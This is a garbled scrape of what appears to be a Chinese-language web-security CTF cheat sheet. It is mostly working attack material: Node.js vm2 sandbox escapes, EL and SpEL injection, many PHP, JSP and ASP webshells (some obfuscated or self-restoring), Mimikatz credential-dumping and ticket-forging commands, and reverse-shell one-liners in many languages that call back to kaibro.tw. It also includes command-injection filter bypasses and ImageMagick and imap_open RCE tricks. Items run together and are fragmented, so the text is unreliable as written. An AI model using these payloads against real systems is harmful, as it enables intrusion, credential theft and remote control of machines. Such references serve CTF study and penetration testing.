/path;param/abcd => /path/abcd/path;param/abcd => /path..;/manager
/docs/..;/manager/html
/docs/..;/manager/html/manager/html/console/ (location ~* /console/)
/..;/console;/flag
/..;/console;/flag/console/flag/admin
proxy_pass http://apache (No trailing slash,以原始資料送到後端)/admin//../flag
/flag/admin/flag/console
proxy_pass http://weblogic;
//console/#/../console/admin/admin/key\x09HTTP/1.1/../../../
//admin/keykeep-alive + CONNECT + 2xx status,會讓其處於 tunnel mode,不採用任何 rulesGunicorn SCRIPT_NAME
SCRIPT_NAME 可以改變 base path
SCRIPT_NAME=test,/a/b/test/flag => /flagSCRIPT_NAME 可以透過 HTTP Header 設定
SCRIPT_NAME: aunderscores_in_headers 才能允許 header 中的 _Nginx internal繞過
X-Accel-RedirectNginx 目錄穿越漏洞
location /files {
alias /home/
}
/files 沒有加上結尾 /,而 /home/ 有/files../ 可以訪問上層目錄Nginx add_header
add_header 才會設定 headerNginx $url CRLF Injection
$uri 是解碼後的請求路徑,可能包含換行,有機會導致 CRLF Injection
$request_uriproxy_pass https://volga-static-site.s3.amazonaws.com$uri;Javascript 大小寫特性
"ı".toUpperCase() == 'I'"ſ".toUpperCase() == 'S'"K".toLowerCase() == 'k'Javascript replace 特性
$> "123456".replace("34", "xx")
'12xx56'
> "123456".replace("34", "$`")
'121256'
> "123456".replace("34", "$&")
'123456'
> "123456".replace("34", "$'")
'125656'
> "123456".replace("34", "$$")
'12$56'
Javascript Proxy
var p = new Proxy({flag: window.flag || 'flag'}, { get: () => 'nope' }Object.getOwnPropertyDescriptor(p, 'flag')Node.js 目錄穿越漏洞
/static/../../../foo/../../../../etc/passwdNode.js vm escape
const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()/^[a-zA-Z0-9 ${}`]+$/gFunction`a${`return constructor`}{constructor}` `${constructor}` `return flag` ``Node.js vm2 escape
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule
.require('child_process')
.execSync('echo "flag is here" > flag');
}
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("whoami").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch 123'); }
)
}
}
};
p.then();
Apache Tomcat Session 操縱漏洞
/examples/servlets /servlet/SessionExamplepolyglot image + .htaccess
exif_imagetype() 中.htaccess 格式#define gg_width 1337
#define gg_height 1337
AddType application/x-httpd-php .asp
AutoBinding / Mass Assignment
@ModelAttribute@RequestMapping(value = "/home", method = RequestMethod.GET)
public String home(@ModelAttribute User user, Model model) {
if (showSecret){
model.addAttribute("firstSecret", firstSecret);
}
return "home";
}
EL Injection / SpEL Injection
${"a".toString()}${"".getClass()}${applicationScope}${sessionScope.toString()}${pageContext.request.getSession().setAttribute("admin", true)}${T(java.lang.Runtime).getRuntime().exec("<my command here>")}${Class.forName('java.lang.Runtime').getRuntime().invoke(null).exec(<RCE>).getInputStream().read()}${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}GraphQL
{ __schema { types { name } } }{__schema{types{name,fields{name}}}}{ __type (name: "Query") { name fields { name type { name kind ofType { name kind } } } } }{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",{__schema}{}{somerandomshit}__debug 來取得詳細資訊,例如 sql 執行語句[{ query: 'query { book(id: 1) { __typename } }' },{ query: 'query { book(id: 1) { __typename } }' }]{"query": "query { kaibro: Query { meow } kaibro1: Query { meow } }"}/graphql?query=query+%7B+a+%7Dx-www-form-urlencoded 仍可執行query { books { title author { title books { title author { ... } } } } }query { book(id: 1) { __typename alias: __typename alias2: __typename alias3: __typename alias4: __typename } }HTTP2 Push
Symlink
ln -s ../../../../../../etc/passwd kaibro.linkzip --symlink bad.zip kaibro.linkcurl trick
curl 'fi[k-m]e:///etc/passwdcurl '{asd,bb}'tcpdump
-i 指定網卡,不指定則監控所有網卡-s 默認只抓96bytes,可以-s指定更大數值-w 指定輸出檔host 指定主機(ip or domain)dst, src 來源或目的端port指定端口tcp, udp, icmp 指定協議tcpdump -i eth0 src 192.168.1.34 and dst port 80tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'tcpdump -i eth0 src kaibro.tw -w file.caphttps://github.com/denny0223/scrabble
https://github.com/lijiejie/ds_store_exp
https://github.com/kost/dvcs-ripper
unicode converter
PHP混淆 / 加密
https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
DNSLog
DNS rebinding
# butit still works
A.192.168.1.1.forever.rebind.network
#alternate between localhost and 10.0.0.1 forever
A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network
#first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3forever.
A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.forever.rebind.network
#respond with 52.23.194.42 the first time, then whatever `whonow--default-address`
# isset to forever after that (default: 127.0.0.1)
A.52.23.194.42.1time.rebind.network
36573657.7f000001.rbndr.ushttps://r12a.github.io/apps/encodings/
Mimikatz
mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txtpowershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1asekurlsa::pth /user:Administrator /domain:kaibro.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9kerberos::tgt (Displays informations about the TGT of the current session)sekurlsa::tickets /exportkerberos::ptt Administrator@krbtgt-KAIBRO.LOCAL.kirbikerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>kerberos::purge (Purges all tickets of the current session)WASM
Welcome to open Pull Request
OR
2,396 followers · starred Sep 2019
164 followers · starred Jul 2019
146 followers · starred Jul 2021
90 followers · starred Nov 2025
<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?= system($_GET[cmd]);
<?=`$_GET[1]`;
<?php eval($_POST[cmd]);?>
<?php echo `$_GET[1]`;
<?php echo passthru($_GET['cmd']);
<?php echo shell_exec($_GET['cmd']);
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
<script language="php">system("id"); </script>
<?php $_GET['a']($_GET['b']); ?>
// a=system&b=ls
// a=assert&b=system("ls")
<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
// .php?cmd=system("ls")
<?@extract($_REQUEST);@die($f($c));?>
// .php?f=system&c=id
<?php @include($_FILES['u']['tmp_name']);
// 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
// 把暫存檔include進來
// From: http://www.zeroplace.cn/article.asp?id=906
<?php $x=~¾¬¬º«;$x($_GET['a']); ?>
// not backdoor (assert)
// .php?a=system("ls")
echo "{${phpinfo()}}";
echo "${system(ls)}";
echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc= => cat flag
echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
// cat shell.php
// <?php echo 'A PHP Test ';" ?>
echo ^<?php eval^($_POST['a']^); ?^> > a.php
// Windows echo導出一句話
<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");
<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>
<?php
// 無回顯後門
// e.g. ?pass=file_get_contents('http://kaibro.tw/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>
<?=
// 沒有英數字的webshell
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");
A=fl;B=ag;cat $A$B
解法:restart
<?php
ignore_user_abort(true); // 忽略連線中斷
set_time_limit(0); // 設定無執行時間上限
$file = 'shell.php';
$code = '<?php eval($_POST[a]);?>';
while(md5(file_get_contents($file)) !== md5($code)) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>
解法:restart
<?php
unlink(__FILE__);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
<%
if("kaibro".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
<%\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006D\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u003B%>
(效果同 <%Runtime.getRuntime().exec(request.getParameter("i"));%>)
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
Lo%C2%A7%C2%94%C2%93@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B0%7F@%C2%85%C2%95%C2%83%C2%96%C2%84%C2%89%C2%95%C2%87~%7F%C2%83%C2%97%C3%B0%C3%B3%C3%B7%7Fon%25L%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3@%C2%A7%C2%94%C2%93%C2%95%C2%A2z%C2%91%C2%A2%C2%97~%7F%C2%88%C2%A3%C2%A3%C2%97zaa%C2%91%C2%81%C2%A5%C2%81K%C2%A2%C2%A4%C2%95K%C2%83%C2%96%C2%94a%C3%91%C3%A2%C3%97a%C3%97%C2%81%C2%87%C2%85%7F%25@@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B2%7Fn%25L%C2%91%C2%A2%C2%97z%C2%84%C2%89%C2%99%C2%85%C2%83%C2%A3%C2%89%C2%A5%C2%85K%C2%97%C2%81%C2%87%C2%85@%C2%83%C2%96%C2%95%C2%A3%C2%85%C2%95%C2%A3%C3%A3%C2%A8%C2%97%C2%85~%7F%C2%A3%C2%85%C2%A7%C2%A3a%C2%88%C2%A3%C2%94%C2%93%7Fan%25L%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25La%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25L%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85K%C2%87%C2%85%C2%A3%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85M%5DK%C2%85%C2%A7%C2%85%C2%83M%C2%99%C2%85%C2%98%C2%A4%C2%85%C2%A2%C2%A3K%C2%87%C2%85%C2%A3%C3%97%C2%81%C2%99%C2%81%C2%94%C2%85%C2%A3%C2%85%C2%99M%7F%C2%89%7F%5D%5D%5E%25La%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25L%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3n%25
(效果同上 JSPX webshell: Runtime.getRuntime().exec(request.getParameter("i"));)
${Runtime.getRuntime().exec("touch /tmp/pwned")}
<%eval request("kaibro")%>
<%execute request("kaibro")%>
<%ExecuteGlobal request("kaibro")%>
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>
<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>
本機Listen Port
ncat -vl 5566Perl
perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Bash
bash -i >& /dev/tcp/kaibro.tw/5566 0>&1bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196PHP
php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'NC
nc -e /bin/sh kaibro.tw 5566Telnet
mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipePython
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'Node.js
var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");Java
Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();java.lang.Runtime.exec() payload generator: http://www.jackson-t.ca/runtime-exec-payloads.htmlPowershell
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd<? ?>
<?=
PHP 5.4.0起,always work!<% %>、<%=
PHP 7.0.0起,被移除asp_tags設成On<script language="php"
PHP 7.0.0起,被移除<script language="php">system("id"); </script>var_dump('0xABCdef' == ' 0xABCdef');
var_dump('0010e2' == '1e3’);
strcmp([],[])
sha1([])
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
var_dump('0x01' == 1) => false'' == 0 == false == NULL
md5([1,2,3]) == md5([4,5,6]) == NULL
var_dump(md5(240610708));
var_dump(sha1(10932435112));
$a="123"; $b="456"
$a + $b == "579";$a . $b == "123456"$a = 0; $b = 'x';
$a == false => true$a == $b => true$b == true => true$a = 'a'
++$a => 'b'$a+1 => 1intval('1000000000000') => 2147483647intval('100000000000000000000') => 9223372036854775807php -r "var_dump(1.000000000000001 == 1);"
php -r "var_dump(1.0000000000000001 == 1);"
$a = 0.1 * 0.1; var_dump($a == 0.01);
var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
1ereg 和 eregi 在 PHP 7.0.0 已經被移除var_dump(intval('5278.8787'));
5278intval(012) => 10intval("012") => 12extract($_GET);
.php?_SESSION[name]=adminecho $_SESSION['name'] => 'admin'" " (0x20)"\t" (0x09)"\n" (0x0A)"\x0B" (0x0B)"\r" (0x0D)"\0" (0x00)"\f" (0x0C)
is_numeric() 允許 \f 在開頭is_numeric(" \t\r\n 123") => true
is_numeric(' 87') => true
is_numeric('87 ') => false
is_numeric(' 87 ') => false
is_numeric('0xdeadbeef')
falsetrue以下亦為合法(返回 True)字串:
' -.0''0.'' +2.1e5'' -1.5E+25''1.e5'in_array('5 or 1=1', array(1, 2, 3, 4, 5))
in_array('kaibro', array(0, 1, 2))
in_array(array(), array('kai'=>false))
in_array(array(), array('kai'=>null))
in_array(array(), array('kai'=>0))
in_array(array(), array('kai'=>'bro'))
in_array('kai', array('kai'=>true))
in_array('kai', array('kai'=>'bro'))
in_array('kai', array('kai'=>0))
in_array('kai', array('kai'=>1))
mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])
haystack 陣列中,搜尋 needle 的值,成功則返回 index,失敗返回 False$strict 為 false 時,採用不嚴格比較
$arr=array(1,2,0); var_dump(array_search('kai', $arr))
int(2)$arr=array(1,2,0); var_dump(array_search('1', $arr))
int(0)parse_str(string, array)
會把查詢字串解析到變數中
如果未設置第二個參數,會解析到同名變數中
E_DEPRECATED警告parse_str('gg[kaibro]=5566');
array(1) {
["kaibro"]=>
string(4) "5566"
}
PHP 變數有空格和.,會被轉成底線
parse_str("na.me=kaibro&pass wd=ggininder",$test);
var_dump($test);
array(2) {
["na_me"]=> string(6) "kaibro"
["pass_wd"]=> string(9) "ggininder"
}
在處理傳入的 URL 會有問題
parse_url('/a.php?id=1')
array(2) {
["host"]=>
string(5) "a.php"
["query"]=>
string(4) "id=1"
}
parse_url('//a/b')
aparse_url('..//a/b/c:80')
..80//a/b/c:80parse_url('///a.php?id=1')
parse_url('/a.php?id=1:80')
false array(2) {
["path"]=> string(6) "/a.php"
["query"]=> string(7) "id=1:80"
}
parse_url('http://kaibro.tw:87878')
array(3) {
["scheme"]=> string(4) "http"
["host"]=> string(9) "kaibro.tw"
["port"]=> int(22342)
}
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
$subject 中匹配的 $pattern,並用 $replacement 替換/e 修飾符,$replacement 會被當成 PHP code 執行
E_DEPRECATED 錯誤preg_replace_callback() 代替example:
<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);
%\、%'、%1$\'%' and 1=1# 中的單引號會被轉義成 \',%\ 又會被吃掉,' 成功逃逸default 不處理<?php
$test = $_GET['txt'];
if(preg_match('[<>?]', $test)) die('bye');
file_put_contents('output', $test);
?txt[]=<?php phpinfo(); ?>寫入spl_autoload_register() 可以自動載入 Class.inc 和 .phpspl_autoload_register() 會把這個 Class 載入進來a.php/.
file_put_contents("a.php/.", "<?php phpinfo() ?>");
file_get_contents("a.php/.");
" => .
a"php> => ?
a.p>pa.>>>< => *
a.<$_GET 會對傳入的參數做 URLdecode 再返回$_SERVER['REQUEST_URI'] 和 $_SERVER['QUERY_STRING'] 則是直接返回Example:
Request: http://kaibro.tw/test.php?url=%67%67
$_GET: [url] => gg
$_SERVER['REQUEST_URI']: /test.php?url=%67%67
$_SERVER['QUERY_STRING']: url=%67%67
透過將 PHP 腳本編譯成 Byte code 的方式做 Cache 來提升性能
相關設定在 php.ini 中
opcache.enable 是否啟用opcache.file_cache 設定 cache 目錄
opcache.file_cache="/tmp/opcache"/var/www/index.php 的暫存會放在 /tmp/opcache/[system_id]/var/www/index.php.binopcache.file_cache_only 設定 cache 文件優先級opcache.validate_timestamps 是否啟用 timestamp 驗證system_id 是透過 Zend 和 PHP 版本號計算出來的,可以確保相容性
所以在某些條件下可透過上傳覆蓋暫存文件來寫 webshell
https://github.com/GoSecure/php7-opcache-override
Example
pcre.backtrack_limit1000000preg_match() 會返回 false$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
chdir('img');
ini_set('open_basedir','..');
chdir('..');chdir('..');
chdir('..');chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');
Fastcgi
...
bash shellshock
mail()
sendmailmb_send_mail()
imap_mail()
imap_open()
<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
error_log()
message_type 為 1 時,會去調用 sendmailImageMagick
LD_PRELOAD + ghostscript:
epsLD_PRELOAD + ffpmeg
MAGICK_CODER_MODULE_PATH
MAGICK_CONFIGURE_PATH
delegates.xml 定義處理各種文件的規則<delegatemap>
<delegate decode="ps:alpha" command="sh -c "/readflag > /tmp/output""/>
</delegatemap>
蓋PATH + ghostscript:
#include <stdlib.h>
#include <string.h>
int main() {
unsetenv("PATH");
const char* cmd = getenv("CMD");
system(cmd);
return 0;
}
putenv('PATH=/tmp/mydir');
putenv('CMD=/readflag > /tmp/mydir/output');
chmod('/tmp/mydir/gs','0777');
$img = new Imagick('/tmp/mydir/1.ept');
dl()
dl("rce.so")FFI
<?php
$ffi = FFI::cdef("int system (const char* command);");
$ffi->system("id");
Windows COM
com.allow_dcom = trueextension=php_com_dotnet.dll<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // Shell.Application 也可
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
iconv
.so, gconv-modulesiconv(), iconv_strlen(), php://filter的convert.iconvPHP SplDoublyLinkedList UAF Sandbox Escape
族繁不及備載......
大小寫不敏感
<?PhP sYstEm(ls);echo (true ? 'a' : false ? 'b' : 'c');
becho `whoami`;
kaibro正規表達式 . 不匹配換行字元 %0a
正規表達式常見誤用:
preg_match("/\\/", $str)\\\\ 而不是 \\運算優先權問題
$a = true && false;
$a => false$a = true and false;
$a => truechr()
chr(259) === chr(3)chr(-87) === chr(169)遞增
$a="9D9"; var_dump(++$a);
string(3) "9E0"$a="9E0"; var_dump(++$a);
float(10)算數運算繞Filter
%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
system$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
assert~, ++等運算,也都可用類似概念構造花括號
$array{index} 同 $array[index]filter_var
filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)
filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)
filter_var('"aaaaa{}[]()\'|!#$%*&^-_=+`,."@b.c',FILTER_VALIDATE_EMAIL)
"aaaaa{}[]()'|!#$%*&^-_=+,."@b.c` (OK)filter_var('aaa."bbb"@b.c',FILTER_VALIDATE_EMAIL)
aaa."bbb"@b.c (OK)filter_var('aaa"bbb"@b.c',FILTER_VALIDATE_EMAIL)
json_decode
\uxxxx形式
json_decode('{"a":"\u0041"}')=== bug
var_dump([0 => 0] === [0x100000000 => 0])
openssl_verify
Namespace
\\system('ls');basename (php bug 62119)
basename("index.php/config.php/喵")
config.phpstrip_tags (php bug 78814)
strip_tags("<s/trong>b</strong>", "<strong>")
<s/trong>b</strong>mb_strpos / mb_substr
mb_strpos 讀到 utf-8 leading byte ,他會繼續嘗試往下讀; 遇到 invalid byte 時,前面的內容會被當成一個 character
mb_strpos("\xf0\x9fAAA<BB", '<') -> 4mb_substr 則有不一致,當遇到 leading byte 時,會跳過 continuation bytes
mb_substr("\xf0\x9fAAA<BB", 0, 4) -> "\xf0\x9fAAA<B"Reflection
<?php
class ApiController
{
protected function protectedMethod() {
echo "protected";
}
public function handle($method)
{
$refMethod = new ReflectionMethod($this, $method);
$refMethod->invoke($this);
}
}
$api = new ApiController();
$api->handle('protectedMethod');
# php 8.1+: protected
# < php 8.1: Fatal error
| cat flag
&& cat flag
; cat flag
%0a cat flag
"; cat flag
`cat flag`
cat $(ls)
"; cat $(ls)
`cat flag | nc kaibro.tw 5278`
. flag
PS1=$(cat flag)
`echo${IFS}${PATH}|cut${IFS}-c1-1`
=> /
? match one character
cat fl?g/???/??t /???/p??s??* match 多個
cat f*cat f?a*${IFS}
cat${IFS}flagls$IFS-alhcat$IFS$2flagcat</etc/passwd{cat,/etc/passwd}X=$'cat\x20/etc/passwd'&&$XIFS=,;`cat<<<uname,-a`
String Concat
A=fl;B=ag;cat $A$BEmpty Variable
cat fl${x}agcat tes$(z)t/flagEnvironment Variable
$PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'${PATH:1:1} => 'u'${PATH:0:4} => '/usr'${PS2}
>${PS4}
+Empty String
cat fl""agcat fl''ag
cat "fl""ag"反斜線
c\at fl\agmvg 格式包含 https 處理(使用 curl 下載),可以閉合雙引號push graphic-context
viewbox 0 0 640 480
fill 'url(https://kaibro.tw";ls "-la)'
pop graphic-context
Some Debians appear to have insecure ImageMagick configuration by default<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="text:/etc/passwd" />
</svg>
<image> <!-- ImageMagick's legend is "image processing" so the tag is named "image". -->
<read filename="image.png" /> <!-- To make the legend more compelling "image.png" is checked to be a valid image file. -->
<write filename="/var/www/html/shell.php" /> <!-- This line gives access to a hacker accomplishing the mission of the MSL format and ImageMagick in general -->
</image>
open("| ls")IO.popen("ls").readKernel.exec("ls")Kernel.method("open").call("|ls").read()`ls`system("ls")eval("ruby code")
$$/$$ => 1'' << 97 << 98 << 99 => "abc"$:即$LOAD_PATHexec("ls")%x{ls} / %x'ls' / %x[ls] / %x(ls) / %x;ls;"Process".constantize.spawn("id")Process.spawn("id")PTY.spawn("id")Kernel#openos.system("ls")os.popen("ls").read()os.execl("/bin/ls","")os.execlp("ls","")os.execv("/bin/ls",[''])os.execvp("/bin/ls",[""])subprocess.call("ls")
subprocess.call("ls|cat",shell=False) => Failsubprocess.call("ls|cat",shell=True) => Correcteval("__import__('os').system('ls')")exec("__import__('os').system('ls')")commands.getoutput('ls')子字串:
substr("abc",1,1) => 'a'mid("abc", 1, 1) => 'a'Ascii function
ascii('A') => 65 Char function
char(65) => 'a'Concatenation
CONCAT('a', 'b') => 'ab'
CONCAT_WS(分隔符, 字串1, 字串2...)
CONCAT_WS('@', 'gg', 'inin') => gg@ininCast function
CAST('125e342.83' AS signed) => 125CONVERT('23',SIGNED) => 23Delay function
sleep(5)BENCHMARK(count, expr)空白字元
09 0A 0B 0C 0D A0 20File-read function
LOAD_FILE('/etc/passwd')LOAD DATA INFILE
secure_file_priv, FILE privilege 限制 (ref: link)LOAD DATA LOCAL INFILE
Server 讀 Client 文件
LOAD DATA LOCAL INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY "\n";
不需要 FILE privilege,且任意目錄檔案皆可讀 (只要 Client 有權限即可)
support UNC Path
LOAD DATA LOCAL INFILE '\\\\172.16.136.153\\test' into table mysql.test FIELDS TERMINATED BY "\n";
Trigger phar deserialization
LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES TERMINATED BY '\n'[mysqld]
local-infile=1
secure_file_priv=""
Tool
Example
